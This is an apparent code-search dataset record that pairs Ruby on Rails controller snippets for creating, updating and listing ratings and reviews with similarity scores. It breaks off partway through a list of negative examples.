end\n end\n end", "def create\n @team_rating = TeamRating.new(params[:team_rating])\n\n respond_to do |format|\n if @team_rating.save\n format.html { redirect_to @team_rating, notice: 'Team rating was successfully created.' }\n format.json { render json: @team_rating, status: :created, location: @team_rating }\n else\n format.html { render action: \"new\" }\n format.json { render json: @team_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def rating_params\n\t\tparams.require(:rating).permit(:ratable, :score, :user)\n\tend", "def rate_post\n render nothing: true\n\n post = Post.find(params[:id])\n\n assert(@post.kind_of?(Post))\n\n if not post.user_ratings.include? current_user.id\n post.user_ratings.push(current_user.id)\n post.save\n else\n redirect_to_back(root_path)\n end\n end", "def game_params\n params\n .require(:data)\n .require(:attributes)\n .permit(\n :game_id,\n :game_name,\n :rating\n )\n end", "def create\n @rating_alt = Rating.new(params[:rating_alt])\n\n respond_to do |format|\n if @rating_alt.save\n format.html { redirect_to @rating_alt, notice: 'Rating was successfully created.' }\n format.json { render json: @rating_alt, status: :created, location: @rating_alt }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rating_alt.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @effort_rating = @opportunity.effort_ratings.new(effort_rating_params)\n\n respond_to do |format|\n if @effort_rating.save\n @opportunity.effort_rating = @opportunity.effort_ratings.average(:rating)\n @opportunity.save\n format.html { redirect_to @opportunity, notice: 'Effort rating was successfully created.' }\n format.json { render :show, status: :created, location: @effort_rating }\n else\n format.html { render :new }\n format.json { render json: @opportunity.errors, status: :unprocessable_entity }\n end\n end\n end", "def rating_params\n params[:rating]\n end", "def create\n # @user = User.find_or_create_by(user_id: @user.id)\n \n @movie = Movie.find_or_create_by(imdbID: params[:imdbID], poster: params[:poster], title: params[:title])\n @rating = Rating.where(movie_id: @movie.id, user_id: logged_in_user.id).first_or_create do |rating|\n rating.score = rating_params[:score]\n rating.comment = rating_params[:comment]\n end\n render json: @rating\n end", "def update\n respond_to do |format|\n if @game_rating.update(game_rating_params)\n format.html { redirect_to @game_rating, notice: 'Game rating was successfully updated.' }\n format.json { render :show, status: :ok, location: @game_rating }\n else\n format.html { render :edit }\n format.json { render json: @game_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def rating_params\n params.require(:rating).permit(:value)\n end", "def create\n @rating_score = RatingScore.new(rating_score_params)\n\n respond_to do |format|\n if @rating_score.save\n format.html { redirect_to @rating_score, notice: 'Rating score was successfully created.' }\n format.json { render :show, status: :created, location: @rating_score }\n else\n format.html { render :new }\n format.json { render json: @rating_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def rate score, post\n ratings.create :score => (score.is_a?(Integer) ? score : Rating.score_for(score)), :post_id => Post.wrap(post).id\n end", "def rating_params\n params.require(:rating).permit(:value1, :value2, :value3, :value4, :value5, :user_id, :place_id)\n end", "def rating_params\n params.require(:rating).permit(:comment, :star_rating, :dress_id, :username)\n end", "def rating_params\n params.require(:rating).permit(:score, :beer_id)\n end", "def rating_params\n params.require(:rating).permit(:rating, :preset_id)\n end", "def rating_params\n params.require(:rating).permit(:post_id, :profile_id, :rate, :rated_at, :type, :Description)\n end", "def create\n @reviews_and_rating = ReviewsAndRating.new(reviews_and_rating_params)\n\n respond_to do |format|\n if @reviews_and_rating.save\n format.html { redirect_to @reviews_and_rating, notice: 'Reviews and rating was successfully created.' }\n format.json { render :show, status: :created, location: @reviews_and_rating }\n else\n format.html { render :new }\n format.json { render json: @reviews_and_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @idea_rating = IdeaRating.new(idea_rating_params)\n\n respond_to do |format|\n if @idea_rating.save\n format.html { redirect_to @idea_rating, notice: (I18n.t :act_create) }\n format.json { render :show, status: :created, location: @idea_rating }\n else\n format.html { render :new }\n format.json { render json: @idea_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @engine_rating = EngineRating.new(engine_rating_params)\n\n respond_to do |format|\n if @engine_rating.save\n format.html { redirect_to @engine_rating, notice: 'Engine rating was successfully created.' }\n format.json { render :show, status: :created, location: @engine_rating }\n else\n format.html { render :new }\n format.json { render json: @engine_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @review = Review.new(review_params)\n\n if @review.valid?\n @review.save \n @boardgame = Boardgame.find(params[:boardgame_id])\n render json: @boardgame, status: :created \n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end", "def rating_params\n params.fetch(:rating, {})\n end", "def create\n @rating = Rating.new\n @rating.user_id = params[:user_id]\n @rating.rate = params[:rate].to_i\n if @answer\n if @answer.user_id == current_user.id\n redirect_to @post, alert: \"You can't rate your own answer.\" and return\n end\n @rating.answer_id = @answer.id\n @answer.rating_score += @rating.rate\n @answer.save\n else\n if @post.user_id == current_user.id\n redirect_to @post, alert: \"You can't rate your own post.\" and return\n end\n @rating.post_id = @post.id\n @post.rating_score += @rating.rate\n @post.save\n end\n\n respond_to do |format|\n if @rating.save\n format.html { redirect_to @post, notice: 'Rating was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { redirect_to @post, alert: 'Rating was NOT successfully created.' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def ratings\n to_return = {}\n players_array = self.players.to_a\n if players_array.size > 2\n to_return = {players_array[0].id => create_rating(players_array[0], players_array[1]), \n players_array[1].id => create_rating(players_array[1], players_array[0])}\n end\n to_return\n end", "def create_ratyrate\n\t\tself.rate(self.rating, self.user, \"rating\", false)\n\tend", "def update\r\n rating = Rating.where(rater_id: current_user.id, ratee_id: params[:id]).first\r\n\r\n if rating.update(score: params[:score], comment: params[:comment], rater_id: current_user.id, ratee_id: params[:ratee_id])\r\n render json: rating\r\n else\r\n render json: { error: rating.errors }, status: :unprocessable_entity\r\n end\r\n end", "def review_params\n params.require(:review).permit(:game_id, :user_id, :score, :content)\n end", "def create\n\n reviews = []\n params[:scores].keys.each{ |name|\n score = params[:scores][name]\n peer_review = PeerReview.new(name:name, score:score, miniproject_id:params[:project][:id])\n peer_review.save\n reviews << peer_review\n }\n\n render json: reviews\n\n end", "def update\n @rating = Rating.find(params[:id])\n @event = Event.find(params[:rating][:event_id])\n\n @rating.stars = params[:rating][:stars]\n respond_to do |format|\n if @rating.save\n format.json { render :json => { :avg_rating => @event.avg_rating } }\n else\n format.json { render :json => @rating.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n respond_to do |format|\n if logged_in?\n @user = current_user\n @movie = Movie.find_or_create_by(id: params[:movie_id], title: params[:title])\n @rating = Rating.new(user_id: @user.id, movie_id: @movie.id, rating: params[:rating])\n\n if @rating.save\n format.json { render json: @rating }\n else\n format.json { render json: @rating.errors, status: :unprocessable_entity }\n end\n else \n format.json { head :no_content }\n end\n end\n end", "def rating_params\n params.permit(:user, :serie, :value)\n end", "def average_rating\n render json: { rating: { avg_rating: @movie.avg_rating } }\n end", "def create\n @campsite = Campsite.find(params[:campsite_id])\n if @campsite.reviews.find_by(user_id:current_user.id).blank?\n @review = @campsite.reviews.create(body:params[:body], user_id:current_user.id, title:params[:title])\n @review.save\n end\n if params[:rating].to_f != 0.0 && @campsite.ratings.find_by(user_id:current_user.id).blank?\n @rating = @campsite.ratings.create(value: params[:rating].to_f, user_id:current_user.id, review_id:@review.id)\n @rating.save\n @campsite.resave_avg_rating\n @campsite.save\n end\n respond_to do |format|\n if @review && @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render action: 'show', status: :created, location: @review }\n else\n format.html { render action: 'new' }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_ratings\n tournament.rater.update_ratings(self)\n end", "def rating\n rating_calculator.rate(raters)\n end", "def idea_rating_params\n params.require(:idea_rating).permit(:idea_id, :crit_id, :user_id, :rating, :rating_text)\n end", "def create\n @rating = Rating.new(rating_params)\n\n respond_to do |format|\n if @rating.save\n format.html { redirect_back(fallback_location: presets_path, notice: 'rating was sucessefully added') }\n\n else\n format.html { render :new }\n\n end\n end\n end", "def rating_params\n params.require(:rating).permit(:difficulty, :police, :pedestrian, :description)\n #params.require(:rating).permit(:difficulty, :police, :pedestrian, :time, :description)\n end", "def saved_ratings\n if params[:ratings].nil?\n if session[:saved_ratings].nil?\n @saved_ratings = all_ratings\n else\n @saved_ratings = session[:saved_ratings]\n end\n else\n @saved_ratings = []\n params[:ratings].each_key {|key| @saved_ratings.push(key)}\n end\n session[:saved_ratings] = @saved_ratings\n @saved_ratings\n end", "def rate!(account, rating)\n params = {}\n if account.kind_of?(Enceladus::Account)\n params[:session_id] = account.session_id\n elsif account.kind_of?(Enceladus::GuestAccount)\n params[:guest_session_id] = account.session_id\n else\n raise Enceladus::Exception::ArgumentError.new(\"account must be one of Enceladus::Account or Enceladus::GuestAccount\")\n end\n\n form_data = { value: (rating * 2).round / 2.0 }\n Enceladus::Requester.post(\"movie/#{id}/rating\", params, form_data)\n end", "def create\n if params[:user_id] && params[:recruiter_id] && params[:review]\n user = User.find(params[:user_id])\n # puts user\n recruiter = Recruiter.find(params[:recruiter_id])\n # puts recruiter\n ################################\n params[\"got_interview\"] ? got_interview = params[\"got_interview\"] : got_interview = false\n params[\"got_job\"] ? got_job = params[\"got_job\"] : got_job = false\n got_job ? got_interview = true : \"null\" #if got job then must have had interview\n params[\"rating\"] ? rating = params[\"rating\"] : rating = 0 #0 means not rated\n params[\"recommended\"] ? recommended = params[\"recommended\"] : recommended = false\n params[\"ghoster\"] ? ghoster = params[\"ghoster\"] : ghoster = false\n # puts \"*********$\"\n # puts params\n # puts recommended\n # puts params[:recommended]\n # puts \"***************$\"\n review = Review.new(\n user_id: user.id,\n recruiter_id: recruiter.id,\n review: params[\"review\"],\n got_interview: got_interview,\n got_job: got_job,\n rating: rating,\n recommended: recommended,\n ghoster: ghoster\n ) #Review.new\n\n if review.save\n render json: {\"POSTED REVIEW\": \"ok\"} #works\n else\n render json: {\"error\": \"ERROR SAVE POSTED REVIEW\"}\n end\n ################################\n # render json: {\"POSTED REVIEW\": \"ok\"} #works\n else\n render json: {\"error\": \"no user_id or recruiter_id or review\"}\n end # if params[:user_id]\n end", "def index\n @ratings = Rating.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ratings }\n end\n end", "def index\n @ratings = Rating.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ratings }\n end\n end", "def index\n @ratings = Rating.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ratings }\n end\n end", "def create\n @participant_rating = ParticipantRating.new(params[:participant_rating])\n @participant_rating.participant_id = @participant.id\n\n\n respond_to do |format|\n if @participant_rating.save\n format.html { redirect_to(new_participant_question_set1_path(@participant.id))}\n format.json { render json: @participant_rating, status: :created, location: @participant_rating }\n else\n format.html { render action: \"new\" }\n format.json { render json: @participant_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def rating\n response[\"rating\"]\n end", "def rating_params\n params.require(:rating).permit(:rating, :text)\n end", "def create\n @beer = Beer.new(beer_params)\n rank = params[:score] ? params[:score] : 0\n respond_to do |format|\n if @beer.save && @beer.ratings.create(user: current_user, rank: rank)\n format.html { redirect_to beers_path, notice: 'Beer was successfully created.' }\n format.json { render json: @beer, status: :created, location: @beer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @beer.errors, status: :unprocessable_entity }\n end\n end\n end", "def effort_rating_params\n params.require(:effort_rating).permit(:rating, :opportunity_id)\n end", "def create\n @album_rating = AlbumRating.new(album_rating_params)\n\n respond_to do |format|\n if @album_rating.save\n format.html { redirect_to @album_rating, notice: 'Album rating was successfully created.' }\n format.json { render :show, status: :created, location: @album_rating }\n else\n format.html { render :new }\n format.json { render json: @album_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def rate_recipe(rating, recipe)\n recipe.ratings << Rating.create(user: self, recipe: recipe, star_rating: rating)\n end", "def dish_rating_params\n params.require(:dish_rating).permit(:rate_value, :user_id, :dish_id, :content, :post_id, :content)\n end", "def rating_params\n params.require(:rating).permit(:rating, :task_id)\n end", "def rate(access_token:, params: {})\n ride_id = require_ride_id(params)\n resp = connection(access_token).put do |req|\n req.url \"/#{Api::VERSION}/rides/#{ride_id}/rating\"\n req.body = params\n end\n handle_response(resp)\n end", "def update\n idea = Idea.find_by_id(params[:idea_id])\n user_rating = current_user.user_ratings.find_by_rating_id(params[:rating_id])\n\n if user_rating.update_attributes(params[:rating])\n saved_rating = UserRating.where('rating_id' => params[:rating_id])\n\n if saved_rating.size != 0\n rating = Rating.find_by_id(params[:rating_id])\n average_rating = 0\n\n saved_rating.each do |sr|\n average_rating = average_rating.to_i + sr.value.to_i\n end\n\n rating.value = average_rating.to_f / saved_rating.size.to_f\n rating.save\n end\n\n respond_to do |format|\n format.html { redirect_to idea_path(idea), :notice => 'Your rating has been updated successfully!' }\n format.js { render text: \"\" }\n end\n else\n respond_to do |format|\n format.html { redirect_to idea_path(idea), :alert => 'Your rating has not been updated, please retry!' }\n format.js { render text: \"\" }\n end\n end\n end", "def index\n user = User.find_by(id: params[:user_id])\n return :ratings => [], :status => :not_found if user.nil?\n\n result = []\n # generate pending ratings\n if params.has_key?(:pending)\n user.rides_as_passenger.each do |ride|\n if Rating.find_by(from_user_id: user.id, to_user_id: ride.driver.id, ride_id: ride.id).nil?\n pending_rating = {}\n pending_rating[:from_user_id] = user.id\n pending_rating[:to_user_id] = ride.driver.id\n pending_rating[:ride_id] = ride.id\n result.append(pending_rating)\n end\n end\n respond_with ratings: result, status: :ok\n else\n #generate ratings given\n ratings = user.ratings_given + user.ratings_received\n result = []\n ratings.each do |r|\n rating = {}\n rating[:from_user_id] = r[:from_user_id]\n rating[:to_user_id] = r[:to_user_id]\n rating[:ride_id] = r[:ride_id]\n result.append(rating)\n end\n respond_with ratings: result, status: :ok\n end\n end", "def swit_sour_params\n params.require(:swit_sour).permit(:rating)\n end", "def player_ratings\n Player.ratings(galaxy_id, Player.where(alliance_id: id))\n end", "def gamer_params\n params.require(:gamer).permit(:username, :xbox_tag, :psn_tag, :steam_tag, :skill_rating, :teammate_rating, :communication_rating, :behavior_rating, :friend_rating, :play_again_rating, :overall_rating)\n end", "def good\n \tunless is_numeric? params[:id]\n \t\t@player = Player.create({ gamertag: params[:id] })\n \telse\n \t\t@player = Player.find(params[:id])\n \tend\n\n \[email protected] = \"good\"\n \[email protected]\n\n \trespond_to do |format|\n \t\tformat.js\n \tend\n end", "def attempt\n rated_puzzle = RatedPuzzle.find puzzle_attempt_params[:id]\n if user_rating.rated_puzzle_attempts.exists?(rated_puzzle_id: rated_puzzle.id)\n render status: 400, json: {\n error: \"Puzzle #{rated_puzzle.id} already attempted\"\n }\n return\n end\n rating_updater = RatingUpdater.new(current_user, rated_puzzle)\n rated_puzzle_attempt = rating_updater.attempt!(puzzle_attempt_params)\n render json: {\n rated_puzzle_attempt: rated_puzzle_attempt.as_json({\n only: [\n :outcome,\n :pre_user_rating,\n :post_user_rating,\n :pre_puzzle_rating,\n :post_puzzle_rating,\n ]\n }),\n user_rating: current_user.user_rating.reload.as_json({\n only: [:rated_puzzle_attempts_count]\n })\n }\n end", "def create\n @restaurant_table_rating = RestaurantTableRating.new(restaurant_table_rating_params)\n\n respond_to do |format|\n if @restaurant_table_rating.save\n format.html { redirect_to @restaurant_table_rating, notice: 'Restaurant table rating was successfully created.' }\n format.json { render :show, status: :created, location: @restaurant_table_rating }\n else\n format.html { render :new }\n format.json { render json: @restaurant_table_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def rating_to_type_json(rating)\n rating_json = Hash.new\n rating_json[:throwing] = Hash.new\n rating_json[:fielding] = Hash.new\n rating_json[:baserunning] = Hash.new\n rating_json[:hitting] = Hash.new\n # throwing\n rating_json[:throwing][1] = rating[:rating_1]\n rating_json[:throwing][2] = rating[:rating_2]\n rating_json[:throwing][3] = rating[:rating_3]\n rating_json[:throwing][4] = rating[:rating_4]\n rating_json[:throwing][5] = rating[:rating_5]\n # fielding\n rating_json[:fielding][6] = rating[:rating_6]\n rating_json[:fielding][7] = rating[:rating_7]\n rating_json[:fielding][8] = rating[:rating_8]\n rating_json[:fielding][9] = rating[:rating_9]\n rating_json[:fielding][10] = rating[:rating_10]\n rating_json[:fielding][11] = rating[:rating_11]\n rating_json[:fielding][12] = rating[:rating_12]\n rating_json[:fielding][13] = rating[:rating_13]\n rating_json[:fielding][14] = rating[:rating_14]\n # baserunning\n rating_json[:baserunning][15] = rating[:rating_15]\n rating_json[:baserunning][16] = rating[:rating_16]\n rating_json[:baserunning][17] = rating[:rating_17]\n rating_json[:baserunning][18] = rating[:rating_18]\n # hitting\n rating_json[:hitting][19] = rating[:rating_19]\n rating_json[:hitting][20] = rating[:rating_20]\n rating_json[:hitting][21] = rating[:rating_21]\n rating_json[:hitting][22] = rating[:rating_22]\n rating_json[:hitting][23] = rating[:rating_23]\n rating_json[:hitting][24] = rating[:rating_24]\n rating_json[:hitting][25] = rating[:rating_25]\n rating_json[:hitting][26] = rating[:rating_26]\n rating_json[:hitting][27] = rating[:rating_27]\n rating_json\n end", "def show\n authorize @workshop\n values = @workshop.ratings.pluck(:value)\n @average_rating = values.inject(&:+).to_f / values.size\n respond_to do |format|\n format.html\n format.json\n end\n end", "def create\n @school_rating = SchoolRating.new(params[:school_rating])\n\n respond_to do |format|\n if @school_rating.save\n format.html { redirect_to @school_rating, notice: 'School rating was successfully created.' }\n format.json { render json: @school_rating, status: :created, location: @school_rating }\n else\n format.html { render action: \"new\" }\n format.json { render json: @school_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def rate\n @album = Album.find(params[:id])\n authorize! :rate, @album\n @album_rating = AlbumRating.new({\n :user_id => current_user.id,\n :album_id => params[:id],\n :rating => params[:rating]\n })\n\n if @album_rating.save\n flash[:notice] = 'Thanks for rating'\n else\n flash[:alert] = \"Could not save your rating. You may have rated this already!\"\n end\n\n redirect_to :back\n end", "def create\n # Check if already exists\n if Rating.find_by(user_id: current_user.id, event_id: params[:event_id])\n update\n else\n @rating = Rating.new(rating_params)\n @rating.event_id = params[:event_id]\n @rating.user_id = current_user.id\n\n respond_to do |format|\n if @rating.save\n format.html { redirect_back fallback_location: root_path }\n else\n format.html { render :new }\n end\n end\n end\n end", "def create\n @game = Game.create(params[:game])\n\t\[email protected]_average = 0.0\n\t\[email protected]_quantity = 0\t\n\t\[email protected] = build_tags_from_params(params) if params[:commit] == 'Update Game' \n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n compile_reviews(@gamer.id)\n scores = Gamer.compute_ratings(@reviews)\n Gamer.compute_overall_rating(scores)\n update_scores(scores, @gamer)\n render json: {gamer: @gamer, reviews: @reviews}\n end", "def game_params\n params.require(:game).permit(:rounds_count)\n end", "def create\n @rating_answer = RatingAnswer.new(rating_answer_params)\n\n respond_to do |format|\n if @rating_answer.save\n format.html { redirect_to @rating_answer, notice: 'Rating answer was successfully created.' }\n format.json { render :show, status: :created, location: @rating_answer }\n else\n format.html { render :new }\n format.json { render json: @rating_answer.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @app = App.new(params[:app])\n @app.rating = Rating.new(params[:rating])\n \n respond_to do |format|\n if @app.save\n format.xml { render :xml => @app, :status => :created, :location => @app, :only => [:id]}\n format.json { render :json => @app, :status => :created, :location => @app, :only => [:id]} \n else\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n format.json { render :json => @app.errors, :status => :unprocessable_entity } \n end\n end\n end", "def rating_score_params\n params.require(:rating_score).permit(:score_name, :score_emojis)\n end", "def create_rating\n return unless valid?\n @rating_class.create(\n social_entry: @social_entry,\n rateable: @rateable,\n rater: @rater,\n ratee: @ratee,\n rating_type: @rating_type,\n rating_metrics: @rating_metrics\n )\n update_rating_aggregates\n end", "def update\n\t\tp \"UPDATE rating\"\n if current_user.nil?\n\t\t\tflash.now[:error] = 'You must be signed in to specify a rating.'\n else\n\t\t\[email protected] = @ratable\n\t\t\[email protected] = current_user\n\t if @rating.update_attributes(score: params[:score])\n\t\t\t\trespond_to do |format|\n\t\t\t\t\tformat.js { render :nothing => true }\n\t\t\t\tend\n\t else\n\t\t\t\tflash[:error] = \"Something went wrong. Please try again.\"\n\t end\n end\n end", "def reviews_params\n params.permit(:score, :comment)\n end", "def create\n if params[:move_id].present?\n @move = Move.find(params[:move_id])\n @move_type = @move.move_type\n @rating = @move.ratings.create!(params[:rating])\n elsif params[:tomato_id].present?\n @tomato = Tomato.find(params[:tomato_id])\n @move = @tomato.move\n @move_type = @move.move_type if @move.present?\n @rating = Rating.new(params[:rating])\n\n if LiveTomato.where(:tomato_id => @tomato.id).blank?\n # do nothing\n else\n @live_tomato = LiveTomato.where(tomato_id: @tomato.id)\n LiveTomato.update(@live_tomato, :star_rating => @rating.star_rating, :thumb_rating => @rating.thumb_rating)\n end\n end\n \n if params[:reject_star_rating].present?\n @rating.star_rating = 0\n end\n\n if params[:reject_thumb_rating].present?\n @rating.thumb_rating = 0\n end\n\n if params[:approve_thumb_rating].present?\n @rating.thumb_rating = 1\n end\n\n if params[:skip_star_rating].present?\n @rating.star_rating = -2\n @rating.thumb_rating = -2\n end\n\n respond_to do |format|\n if @rating.save\n if params[:skip_star_rating].present? && @move.project_id.present?\n @project = Project.find(@move.project_id)\n format.html { redirect_to work_projects_path(:id => @project.id, :move_type => @move_type.id), notice: 'Move was successfully skipped.' }\n format.json { head :no_content }\n elsif @move.present?\n format.html { redirect_to @move, notice: 'Rating was successfully created.' }\n format.json { render json: @move, status: :created, location: @move }\n elsif @tomato.move.present?\n format.html { redirect_to @tomato.move, notice: 'Rating was successfully created.' }\n format.json { render json: @tomato.move, status: :created, location: @tomato }\n else\n format.html { render action: \"new\" }\n format.json { render json: @move.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def engine_rating_params\n params.require(:engine_rating).permit(:engine_id, :rating)\n end", "def rating_params\n params.permit(:rating, :text, :token, :evento_id, :customer_id, :company_id)\n end", "def create\n @swit_sour = SwitSour.where(:user_id => params[:user_id], :swit_id => params[:swit_id]).first_or_initialize\n @swit_sour.update(:rating => params[:rating])\n\n respond_to do |format|\n if @swit_sour.save\n format.html { redirect_to @swit_sour, notice: 'Swit sour was successfully created.' }\n format.js\n format.json { render :show, status: :created, location: @swit_sour }\n else\n format.html { render :new }\n format.json { render json: @swit_sour.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7197672", "0.7022388", "0.6925746", "0.67633516", "0.6507356", "0.6348106", "0.63153785", "0.6305905", "0.6299254", "0.62990385", "0.6297955", "0.6293861", "0.6279696", "0.62654066", "0.6264876", "0.6251327", "0.62446856", "0.62214065", "0.62188613", "0.62092495", "0.6187703", "0.6183027", "0.61332226", "0.61138177", "0.6101093", "0.6099651", "0.60921884", "0.608915", "0.6087225", "0.6042385", "0.60006356", "0.59971243", "0.5980756", "0.5963008", "0.5956546", "0.5926598", "0.5926097", "0.5904488", "0.5900554", "0.58780557", "0.5875544", "0.5872219", "0.58524334", "0.5824611", "0.5819933", "0.5813719", "0.58137023", "0.5807287", "0.5800949", "0.5780341", "0.57762086", "0.57589227", "0.57563615", "0.5756315", "0.5754197", "0.5742162", "0.5739576", "0.5739057", "0.5732495", "0.57218444", "0.5720025", "0.57173723", "0.57173723", "0.57173723", "0.57149", "0.57105184", "0.57104653", "0.5706732", "0.57034403", "0.570195", "0.56977004", "0.5694851", "0.56881386", "0.5675397", "0.56702185", "0.5661207", "0.565875", "0.5655905", "0.5650518", "0.5646423", "0.56402767", "0.563878", "0.563728", "0.56333315", "0.563055", "0.5612029", "0.5610116", "0.56091374", "0.5608515", "0.5606124", "0.56020755", "0.5598162", "0.5592243", "0.558763", "0.5585439", "0.55852073", "0.5575425", "0.5574381", "0.55728424", "0.5561796" ]
0.7137196
1
PATCH/PUT /game_ratings/1 PATCH/PUT /game_ratings/1.json
def update respond_to do |format| if @game_rating.update(game_rating_params) format.html { redirect_to @game_rating, notice: 'Game rating was successfully updated.' } format.json { render :show, status: :ok, location: @game_rating } else format.html { render :edit } format.json { render json: @game_rating.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\r\n rating = Rating.where(rater_id: current_user.id, ratee_id: params[:id]).first\r\n\r\n if rating.update(score: params[:score], comment: params[:comment], rater_id: current_user.id, ratee_id: params[:ratee_id])\r\n render json: rating\r\n else\r\n render json: { error: rating.errors }, status: :unprocessable_entity\r\n end\r\n end", "def update\n @app = App.find(params[:id])\n \n respond_to do |format|\n if @app.update_attributes(params[:app]) and @app.rating.update_attributes(params[:rating])\n format.xml { head :ok }\n format.json { head :ok } \n else\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n format.json { render :json => @app.errors, :status => :unprocessable_entity } \n end\n end\n end", "def update\n @rating = Rating.find(params[:id])\n\n respond_to do |format|\n if @rating.update_attributes(params[:rating])\n format.html { redirect_to @rating, notice: 'Rating was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @rating = Rating.find(params[:id])\n\n respond_to do |format|\n if @rating.update_attributes(params[:rating])\n format.html { redirect_to @rating, notice: 'Rating was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @rating_alt = Rating.find(params[:id])\n\n respond_to do |format|\n if @rating_alt.update_attributes(params[:rating_alt])\n format.html { redirect_to @rating_alt, notice: 'Rating was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rating_alt.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @team_rating = TeamRating.find(params[:id])\n\n respond_to do |format|\n if @team_rating.update_attributes(params[:team_rating])\n format.html { redirect_to @team_rating, notice: 'Team rating was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @idea_rating.update(idea_rating_params)\n format.html { redirect_to idea_ratings_path(:idea_id => @idea_rating.idea_id), notice: (I18n.t :act_update) }\n format.json { render :show, status: :ok, location: @idea_rating }\n calc_idea_rating\n else\n format.html { render :edit }\n format.json { render json: @idea_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @rating.update(rating_params)\n format.html { redirect_to @rating, notice: 'Rating was successfully updated.' }\n format.json { render :show, status: :ok, location: @rating }\n else\n format.html { render :edit }\n format.json { render json: @rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_game_rating\n @game_rating = GameRating.find(params[:id])\n end", "def update\n @recipe.average_rating = @recipe.ratings.average(:rate)\n\n respond_to do |format|\n if @recipe.update(recipe_params)\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipe }\n else\n format.html { render :edit }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n idea = Idea.find_by_id(params[:idea_id])\n user_rating = current_user.user_ratings.find_by_rating_id(params[:rating_id])\n\n if user_rating.update_attributes(params[:rating])\n saved_rating = UserRating.where('rating_id' => params[:rating_id])\n\n if saved_rating.size != 0\n rating = Rating.find_by_id(params[:rating_id])\n average_rating = 0\n\n saved_rating.each do |sr|\n average_rating = average_rating.to_i + sr.value.to_i\n end\n\n rating.value = average_rating.to_f / saved_rating.size.to_f\n rating.save\n end\n\n respond_to do |format|\n format.html { redirect_to idea_path(idea), :notice => 'Your rating has been updated successfully!' }\n format.js { render text: \"\" }\n end\n else\n respond_to do |format|\n format.html { redirect_to idea_path(idea), :alert => 'Your rating has not been updated, please retry!' }\n format.js { render text: \"\" }\n end\n end\n end", "def update\n @review = Review.find(params[:id])\n @review.update(review_params)\n render json: @review\n end", "def update\n respond_to do |format|\n if @rating_score.update(rating_score_params)\n format.html { redirect_to @rating_score, notice: 'Rating score was successfully updated.' }\n format.json { render :show, status: :ok, location: @rating_score }\n else\n format.html { render :edit }\n format.json { render json: @rating_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @review.update(review_params)\n @paper = @review.paper\n @rate = 0.0\n @top = 0.0\n @bottem = 0.0\n @paper.reviews.each do |review| \n @top += review.score * review.confidence\n @bottem += review.confidence\n end\n @rate = @top / @bottem\n @paper.update_attribute(:rating, @paper.rating = @rate)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @participant_rating = ParticipantRating.find(params[:id])\n\n respond_to do |format|\n if @participant_rating.update_attributes(params[:participant_rating])\n format.html { redirect_to @participant_rating, notice: 'Participant rating was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @participant_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t\tp \"UPDATE rating\"\n if current_user.nil?\n\t\t\tflash.now[:error] = 'You must be signed in to specify a rating.'\n else\n\t\t\[email protected] = @ratable\n\t\t\[email protected] = current_user\n\t if @rating.update_attributes(score: params[:score])\n\t\t\t\trespond_to do |format|\n\t\t\t\t\tformat.js { render :nothing => true }\n\t\t\t\tend\n\t else\n\t\t\t\tflash[:error] = \"Something went wrong. Please try again.\"\n\t end\n end\n end", "def update\n if logged_in?\n @user = current_user\n @rating = Rating.where(user_id: @user.id, movie_id: 